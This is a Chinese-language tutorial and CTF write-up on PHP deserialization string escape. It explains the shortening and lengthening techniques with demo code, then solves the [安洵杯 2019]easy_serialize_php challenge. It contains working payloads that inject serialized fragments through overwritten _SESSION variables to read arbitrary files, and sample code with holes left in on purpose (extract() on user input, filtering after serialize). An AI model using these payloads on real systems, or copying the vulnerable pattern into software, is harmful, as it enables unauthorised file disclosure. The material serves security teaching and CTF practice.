反序列化的特性
<?php
/*
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'highlight_file';
$_SESSION['img'] = base64_encode('/d0g3_fllllllag'); //d0g3_f1ag.php
$serialize_info = serialize($_SESSION);
echo $serialize_info;*/
$str = 'a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}';
print_r (unserialize($str));
这是应该正常的反序列化代码,没有添加任何字符
但是我们可以往 }符号 外面尝试再加入一些字符
可以发现,添加了asfd后,反序列化依旧正常执行。只要 } 符号外面的字符,反序列化对象的时候都会忽略掉。
字符逃逸
缩短逃逸
初入了解
实例代码
<?php
function filter($string){
$filter = '/p/i';
return preg_replace($filter,'',$string);
}
$username = 'ppppppppppppp';
$age = $_GET['age']; // c";i:1;s:2:"20";}
$age = '10'; // 原本的值
extract($_GET); //变量覆盖
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>
我们知道代码存在过滤,本来的p替换为空
在php反序列化中,比如这个数组找不到对应13个字符的值,它会往后寻找。然后读取进去
这里我们通过变量覆盖,对age变量进行传参,可以发现反序列化正常的执行成功了
c";i:1;s:2:"20";}
我们想修改的age的值也成功修改,这也就是代表我们逃逸成功了
反序列化将会从这里开始读取字符串
可以看见刚好为13个字符
";i:1;s:17:"c
进阶测试
实例代码
<?php
function filter($string){
$filter = '/p/i';
return preg_replace($filter,'',$string);
}
$usernmae = $_GET['username'];
$password = $_GET['password']; // c";i:1;s:2:"20";}
$username = 'admin';
$password = '123456'; // 原本的值
extract($_GET); //变量覆盖
$user = array($username, $password);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>
在这里,我们的目标仅仅是通过变量覆盖,然后来修改password的值
payload构造如下:
?username=pppppppppppp&password=";i:1;s:6:"654321";}
可以发现被修改成654321,成功的进行了字符逃逸
p替换为空之后,说明了可以逃逸的字符为12个字符,最后通过 ";闭合让反序列化正常执行,最后}符号除掉了我们不想要的字符。
增长逃逸
其实了解了缩短逃逸的原理,会发现增长逃逸也差不多,甚至更加简单
实例代码
<?php
function filter($string){
$filter = '/p/i';
return preg_replace($filter,'aa',$string);
}
$usernmae = $_GET['username'];
$password = $_GET['password']; // c";i:1;s:2:"20";}
$username = 'admin';
$password = '123456'; // 原本的值
extract($_GET); //变量覆盖
$user = array($username, $password);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>
原理
在这里,我们的目的同样是修改123456这个值
过滤函数将我们反序列化后的字符串20个p就会替换为40个a
但是我们可以看见数组所读取的字符串是20个字符,这个时候我们只需要在溢出的字符p输入相对应的长度的payload,就可以进行修改了。比如这个payload长度就是20
";i:1;s:6:"654321";}
我们将payload放入长度相等的过滤p字符后面
?username=pppppppppppppppppppp";i:1;s:6:"654321";}
可以看见反序列化成功,password的值也成功修改了
案例
[安洵杯 2019]easy_serialize_php
进入主页点击这个
然后就出现了以下源代码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
代码分析
通过分析代码可以看见f是一个传参变量,当它等于phpinfo时,根据题目所说会有flag的提示
这里我们构造传参
?f=phpinfo
在这里可以发现flag的提示文件
为什么使用auto_append_file 查找呢?因为它是一个包含文件的选项。其中当f传参变量等于show_image时将会读取文件,所以知道是文件读取才能找到flag
可以发现读取flag,必须要经过反序列化,这里反序列化还有过滤函数会替换关键字为空
怎么构造序列化?
首先我们找到一些的可控变量,当img_path传参不存在的时候,将会使用img进行传参,所以这里默认存在img可以进行传参
由于function默认的传参不是我们想要的show_image,如果默认不管的话将会扰乱我们读取文件
初始构造脚本,
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'highlight_file';
$_SESSION['img'] = base64_encode('d0g3_f1ag.php'); //读取的文件
$serialize_info = filter(serialize($_SESSION));
var_dump (serialize($_SESSION));
echo "<br><br><br>";
echo $serialize_info."<br><br><br>";
var_dump (unserialize($serialize_info));
正常情况下,代码应该是这样子走的。我们可以发现这个字符串阻止了我们的文件读取
这个时候就需要用到了php反序列化-字符逃逸的缩短逃逸,因为代码存在替换函数,将会导致字符的缺失。
";s:8:"function";s:14:
将这个字符串进行读取,将会截断后面没用的内容
缩短逃逸-构造payload
这里使用恶意的字符串故意让替换函数替换为空,刚好22个字符
phpphpphpphpphpphpflag
可以看见读取字符串之后,反序列化失败,是因为该数组还没有闭合
现在我们来构造function传参的值
运行以下代码
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION["user"] = 'phpphpphpphpphpphpflag';
$_SESSION['function'] = ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"c";}highlight_file';
$_SESSION['img'] = base64_encode('d0g3_f1ag.php');
$serialize_info = filter(serialize($_SESSION));
var_dump (serialize($_SESSION));
echo "<br><br><br>";
echo $serialize_info."<br><br><br>";
var_dump (unserialize($serialize_info));
可以看见反序列化执行成功,字符串成功逃逸
解释一下这个传参:
$_SESSION['function'] = ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"c";}highlight_file';
- s:2:“aa”;s:1:“c”; 是一个数组,因为数组一共有三个,所以我们自己构造了一个函数
- ";s:8:“function”;s:71: 是反序列化读取的字符串,后面直接截断了,我们想要的字符串
- 利用这个符号 } 阶段了没必要的字符串
由于代码中存在变量覆盖
这里我们使用POST请求传参
payload:
/index.php?f=show_image
_SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"hh";s:1:"a";}
查看源代码,可以发现有个一flag的提示文件
将这个字符串,进行base64加密即可,然后替换原来的base64文件
;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"c";}
最后可以看见成功读取到了flag了